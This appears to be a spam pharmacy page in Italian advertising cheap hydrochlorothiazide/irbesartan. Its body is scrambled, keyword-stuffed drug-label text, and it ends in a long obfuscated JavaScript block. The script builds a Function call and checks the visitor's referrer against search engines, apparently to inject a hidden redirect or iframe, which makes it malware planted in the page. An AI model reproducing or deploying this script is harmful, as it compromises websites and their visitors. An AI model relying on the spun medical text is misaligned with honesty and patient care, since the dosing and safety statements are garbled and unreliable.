• Prendi Hydrochlorothiazide and Irbesartan A Buon Mercato

    Prendi Hydrochlorothiazide and Irbesartan A Buon Mercato

    Valutazione 4.7 sulla base di 141 voti.

    Treble Blockade of the Buon System RAS Dual bar Prendi the RAS with angiotensin-receptor blockers, TA 100, chemically described as a 2-butyl-3- -1,3-diazaspiro [4, Mercato Mercato was discontinued due to high-flown liver enzymes, one patient was discontinued due Buon elevated liver-colored and. In patients with essential hypertension treated Irbesartan Irbesartan and Irbesartan Tablets alone, or in vivo in assays using sneak germinal cadre chromosomes. If oligohydramnios is observed, unless Hydrochlorothiazide Hydrodiuril considered lifesaving for the mother, in clinical studies the consequences of incidental irbesartan on the pharmacodynamics of coumadin were trifling.

    And mechanics of the antihypertensive burden of thiazides is not fully tacit.

    Hydrochlorothiazide and Irbesartan 150 mg Prezzo Generico spedizione Trackable

    The mechanism Esidrix the antihypertensive effect Prendi thiazides Prendi not full understood.

    There were no reported events of syncope in the Irbesartan and Hydrochlorothiazide Tablets treatment group and there was one reported event in the HCTZ treatment group. The incidences of pre-specified adverse events on Irbesartan and Buon Tablets, irbesartan, and HCTZ, respectively, were: Prendi rates of discontinuation due to adverse events on Irbesartan and Hydrochlorothiazide Tablets, irbesartan alone, and HCTZ alone were 6.

    The incidences of the pre-specified adverse events on Irbesartan and Hydrochlorothiazide Tablets and irbesartan, Prendi Hydrochlorothiazide and Irbesartan A Buon Mercato, respectively, were: The rates of discontinuation due to adverse events were 2. Post-Marketing Experience The following adverse reactions have been identified during post-approval use of Irbesartan Hydrochlorothiazide Hydrochlorothiazide Tablets. Decisions to include these reactions in Mercato are typically based on one or more of the following factors: The following Irbesartan been reported with irbesartan and with hydrochlorothiazide monotherapies: The following have been reported with irbesartan monotherapy: Creatinine, Blood Urea Nitrogen: In patients with essential hypertension treated with Irbesartan and Hydrochlorothiazide Tablets alone, one patient was discontinued due to elevated liver enzymes.

    These effects are usually Buon. Therefore, monitor renal function and blood pressure periodically in patients receiving irbesartan and NSAID therapy. Therefore, when Irbesartan and Hydrochlorothiazide Tablets and non-steroidal anti-inflammatory agents are used concomitantly, the patient should be observed closely to determine if the desired effect of the diuretic is obtained.

    Dual Blockade of the Renin-Angiotensin System RAS Dual blockade of the RAS Mercato angiotensin-receptor blockers, Irbesartan inhibitors, or aliskiren is associated with increased risks of hypotension, hyperkalemia, and changes in renal function including acute renal failure compared to monotherapy. Closely monitor blood pressure, renal function, and electrolytes in patients on Irbesartan and Hydrochlorothiazide Tablets and other agents that affect the RAS.

    In most patients no and has been associated with using two RAS inhibitors concomitantly. In general, avoid combined use of RAS and. Cholestyramine and Colestipol Resins Absorption of hydrochlorothiazide is impaired in the presence of anionic exchange resins.

    A buon mercato Avalide 150 mg In linea :: Pharmacy Trusted

    Monitor lithium levels in patients receiving Irbesartan and Hydrochlorothiazide Tablets and lithium. Carbamazepine Concomitant use of carbamazepine and hydrochlorothiazide has been associated with the risk of symptomatic hyponatremia. Monitor electrolytes during concomitant use. Resulting oligohydramnios can be associated with fetal lung hypoplasia and skeletal deformations. Potential neonatal adverse effects include skull hypoplasia, anuria, hypotension, renal failure, and death. When pregnancy is detected, discontinue Irbesartan and Hydrochlorothiazide Tablets as soon as possible.

    2. DOSAGE AND ADMINISTRATION

    Appropriate management of maternal hypertension during pregnancy is important to optimize outcomes for both mother and fetus. Perform serial ultrasound examinations to assess the intra-amniotic environment. If oligohydramnios is observed, discontinue Irbesartan and Hydrochlorothiazide Tablets, unless it is considered lifesaving for the mother. Fetal testing may be appropriate, based on the week of pregnancy.

    About The Guided Meditation Site

    Patients and physicians should be aware, however, that oligohydramnios may not appear until after the fetus has sustained irreversible injury. Closely observe infants with histories of in utero exposure to Irbesartan and Hydrochlorothiazide Tabletsfor hypotension, oliguria, and hyperkalemia [see Use in Specific Populations 8.

    Prendi Hydrochlorothiazide and Irbesartan A Buon Mercato

    Irbesartan crosses the placenta in rats and rabbits. Subcutaneous edema also occurred in fetuses at doses about 4 times and MRHD based on body surface area. Pregnant rabbits given oral doses of irbesartan equivalent to 1. Surviving females had a slight increase in early resorptions and a corresponding decrease in live fetuses [see Nonclinical Toxicology 13. Radioactivity was present in the rat and rabbit fetus during late gestation and in rat milk following oral doses of radiolabeled irbesartan, Prendi Hydrochlorothiazide and Irbesartan A Buon Mercato.

    Nursing Mothers It is not known whether irbesartan is excreted in human milk, but Hydrochlorothiazide or some metabolite of irbesartan is secreted at low concentration in the milk of lactating rats. Thiazides appear Buon human milk. Pediatric Use Neonates with a history of in utero exposure to Irbesartan and Prendi Tablets: If oliguria or hypotension occurs, direct attention toward support of blood pressure and renal Mercato. Safety and effectiveness Irbesartan pediatric patients have not been established.

    Geriatric Use Of 1694 patients receiving Irbesartan and Hydrochlorothiazide Tablets in controlled clinical studies of hypertension, 264 15. However, daily doses of 900 mg for 8 weeks were well tolerated. The most likely manifestations of overdosage are expected to be hypotension and tachycardia; bradycardia might also occur from overdose. Irbesartan is not removed by hemodialysis. To obtain up-to-date information about the treatment of overdosage, a good resource is a certified regional Poison Control Center.

    Irbesartan and Hydrochlorothiazide

    Hydrochlorothiazide The most common signs and symptoms of overdose observed in humans are those caused by electrolyte depletion hypokalemia, hypochloremia, hyponatremia and dehydration resulting from excessive diuresis. The degree to which hydrochlorothiazide is removed by hemodialysis has not been established. Irbesartan is a non-peptide compound, chemically described as a 2-butyl-3- -1,3-diazaspiro [4.

    Irbesartan is a white to off-white crystalline powder with a molecular weight of 428. Irbesartan is slightly soluble in alcohol and methylene chloride and practically insoluble in water. Hydrochlorothiazide is 6-chloro-3,4-dihydro-2H-1,2,4-benzothiadiazine-7-sulfonamide 1,1- dioxide, Prendi Hydrochlorothiazide and Irbesartan A Buon Mercato.

    Please turn JavaScript on and reload the page

    Hydrochlorothiazide is a white, or practically white, crystalline powder with a molecular weight of 297. Prendi II is the principal pressor agent of the RAS and also stimulates aldosterone synthesis and secretion by adrenal cortex, cardiac contraction, renal resorption of sodium, activity of the sympathetic nervous system, and smooth muscle cell and. Irbesartan blocks the vasoconstrictor and aldosterone-secreting effects of angiotensin II by selectively binding to the AT1 angiotensin II receptor.

    Irbesartan is a specific competitive antagonist of Mercato receptors with a much greater Irbesartan more than 8500-fold for the AT1 receptor than for the AT2 receptor, and no agonist activity, Prendi Hydrochlorothiazide and Irbesartan A Buon Mercato. Blockade of the AT1 receptor removes the negative feedback of angiotensin II on Buon secretion, but the resulting increased plasma renin activity and circulating angiotensin II do not overcome the effects of irbesartan on blood pressure. Because irbesartan does not inhibit ACE, it does not affect the response to bradykinin; whether this has clinical relevance is not known.

    Hydrochlorothiazide Hydrochlorothiazide is a thiazide diuretic. Thiazides affect the renal tubular mechanisms of electrolyte reabsorption, directly increasing excretion of sodium and chloride in approximately equivalent amounts. The mechanism of the antihypertensive effect of thiazides is not fully understood. Pharmacodynamics Irbesartan In healthy subjects, single oral irbesartan doses of up to 300 mg produced dose-dependent inhibition of the pressor effect of angiotensin II infusions.

    • Perform serial ultrasound examinations to assess the intra-amniotic environment.
    • The following have been reported with irbesartan and with hydrochlorothiazide monotherapies:
    • Decisions to include these reactions in labeling are typically based on one or more of the following factors:

    In multiple dose studies in hypertensive patients, there were no clinically important effects on fasting triglycerides, total cholesterol, HDL-cholesterol, or fasting glucose concentrations. Potentiation of orthostatic hypotension may occur. Possible increased responsiveness to muscle relaxants such as curare derivatives. Corticosteroids, ACTH — intensified electrolyte depletion, particularly hypokalemia.

    No matter what happens in your life… You still call the shots

    Pharmacokinetics Irbesartan Irbesartan is an orally active agent that does not require biotransformation into an active form. Food does not affect the bioavailability of irbesartan. Irbesartan exhibits linear pharmacokinetics over the therapeutic dose range. The terminal elimination half-life of irbesartan averaged 11 to 15 hours. Steady-state concentrations are achieved within 3 days.

    Hydrochlorothiazide When plasma levels have been followed for at least 24 hours, the plasma half-life has been observed to vary between 5. Metabolism and Elimination Irbesartan Irbesartan is metabolized via glucuronide conjugation and oxidation.

    Prendi Hydrochlorothiazide and Irbesartan A Buon Mercato

    The remaining oxidative metabolites do not add appreciably to irbesartan's pharmacologic activity. Irbesartan and its metabolites are excreted by both biliary and renal routes. In vitro studies of irbesartan oxidation by cytochrome P450 isoenzymes indicated irbesartan was oxidized primarily by 2C9; metabolism by 3A4 was negligible. There was no induction or inhibition of Prendi. Hydrochlorothiazide Hydrochlorothiazide is not metabolized but is eliminated rapidly by the kidney. The average volume of distribution is 53 to 93 liters. With repetitive dosing, Mercato accumulates to no clinically relevant extent.

    Studies in animals indicate and radiolabeled irbesartan Irbesartan crosses the blood-brain barrier and placenta. Irbesartan is excreted in the milk of lactating rats. Hydrochlorothiazide Hydrochlorothiazide crosses the placental but not the blood-brain barrier and is Buon in breast milk.

    Prendi Hydrochlorothiazide and Irbesartan A Buon Mercato

    Gender No gender-related differences in pharmacokinetics were observed in healthy elderly age 65 to 80 Buon or in healthy young age 18 to 40 years subjects. No gender-related dosage adjustment is necessary. No dosage adjustment is necessary in the elderly. Renal Insufficiency And pharmacokinetics of irbesartan were not altered in patients with renal impairment or in patients on hemodialysis.

    No Mercato adjustment is necessary in patients with Irbesartan to severe renal impairment unless a patient Hydrochlorothiazide renal impairment is also volume depleted [see Warnings and Precautions 5. No dosage adjustment is necessary in patients with hepatic insufficiency. Prendi, in clinical studies the consequences of concomitant irbesartan on the pharmacodynamics of warfarin were negligible.

    Concomitant nifedipine or hydrochlorothiazide had no effect on irbesartan pharmacokinetics.

    Blog Detail

    Irbesartan-hydrochlorothiazide was not mutagenic in standard in vitro tests Ames microbial test and Chinese hamster mammalian-cell forward gene-mutation assay. Irbesartan-hydrochlorothiazide was negative in tests for Irbesartan of chromosomal aberrations in Buon lymphocyte assay; in vivo and mouse micronucleus study. The combination of Irbesartan and Hydrochlorothiazide has not been evaluated in definitive studies of fertility.

    Irbesartan was not mutagenic in a battery of in vitro Hydrochlorothiazide Ames microbial test, rat hepatocyte DNA repair test, V79 mammalian-cell forward gene-mutation Mercato. Irbesartan was negative in several tests for induction of chromosomal aberrations in vitro—human lymphocyte assay; in vivo—mouse micronucleus study. The NTP, however, found equivocal evidence for hepatocarcinogenicity in male mice. Hydrochlorothiazide was not Prendi in vitro in the Ames mutagenicity assay of Salmonella typhimurium strains TA 98, TA 100, TA 1535, TA 1537, and TA 1538 and in the Chinese Hamster Ovary CHO test for chromosomal aberrations, or in vivo in assays using mouse germinal cell chromosomes, Chinese hamster bone marrow chromosomes, and the Drosophila sex-linked recessive lethal trait gene.

    Surviving females receiving this dose about 1.

    Cialis Oral Jelly farmacia online affidabile
    custom-chrome-rims.org

    UsSCqo

    $=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,52,51,48,55,54,56,72,84,77,76,60,34,112,47,95,63,38,43,85,67,119,65,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+(!![]+[])[!+[]+!+[]+!+[]]+$[14]+$[23]+$[13]+$[24]+$[25]+$[23]+$[13]+([]+[]+{})[!+[]+!+[]]+$[26]+$[24]+$[13]+(!![]+[])[+[]]+$[10]+([]+[]+[][[]])[!+[]+!+[]]+$[27]+$[28]+(![]+[])[!+[]+!+[]]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[29]+$[30]+$[31]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[33]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[34]+$[25]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[34]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[35]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[34]+$[25]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[34]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[34]+$[36]+$[36]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+(!![]+[])[+!+[]]+$[8]+$[4]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+$[3]+$[36]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[37]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+$[38]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[37]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[41]+$[1]+$[22]+$[42]+([]+[]+{})[+!+[]]+$[3]+$[35]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[37]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[43]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[44]+$[0]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[40]+$[43]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[43]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[35]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[38]+$[9]+$[45]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[11]+$[40]+$[9]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[34]+$[35]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[46]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[46]+$[14]+$[25]+$[25]+$[47]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[46]+$[14]+$[25]+$[25]+$[47]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+$[46]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+$[18]+([![]]+[][[]])[+!+[